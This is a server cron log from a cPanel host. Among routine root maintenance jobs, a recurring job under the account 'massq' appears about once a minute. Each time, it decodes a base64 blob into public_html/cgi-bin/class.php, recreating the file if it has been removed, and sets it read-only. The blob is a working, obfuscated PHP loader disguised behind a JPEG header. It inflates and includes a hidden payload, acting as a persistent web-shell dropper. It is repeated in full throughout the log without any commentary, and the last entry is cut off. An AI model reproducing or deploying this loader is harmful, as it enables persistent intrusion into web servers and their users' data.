Sep 11 14:20:01 server CROND[21440]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 14:20:01 server CROND[21444]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 14:20:01 server CROND[21447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:20:01 server CROND[21445]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 14:20:01 server CROND[21449]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:20:01 server CROND[21450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:20:01 server CROND[21443]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 14:20:01 server CROND[21446]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 14:21:01 server CROND[22293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:21:01 server CROND[22294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:21:01 server CROND[22295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:22:01 server CROND[22675]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:22:01 server CROND[22676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:22:01 server CROND[22674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:23:01 server CROND[23224]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:23:01 server CROND[23225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:23:01 server CROND[23226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:24:01 server CROND[23600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:24:01 server CROND[23601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:24:01 server CROND[23602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:25:01 server CROND[24005]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 14:25:01 server CROND[24016]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 14:25:01 server CROND[24014]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:25:01 server CROND[24018]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 14:25:01 server CROND[24013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:25:01 server CROND[24017]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 11 14:25:01 server CROND[24019]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 14:25:01 server CROND[24015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:26:01 server CROND[24954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:26:01 server CROND[24955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:26:01 server CROND[24956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:27:01 server CROND[25340]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:27:01 server CROND[25341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:27:01 server CROND[25343]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 14:27:01 server CROND[25342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:28:01 server CROND[25726]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:28:01 server CROND[25727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:28:01 server CROND[25728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:29:01 server CROND[26105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:29:01 server CROND[26106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:29:01 server CROND[26107]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:30:01 server CROND[26498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:30:01 server CROND[26500]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 14:30:01 server CROND[26505]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 14:30:01 server CROND[26503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:30:01 server CROND[26506]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 14:30:01 server CROND[26501]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 14:30:01 server CROND[26504]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:30:01 server CROND[26502]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 14:31:01 server CROND[27427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:31:01 server CROND[27428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:31:01 server CROND[27429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVA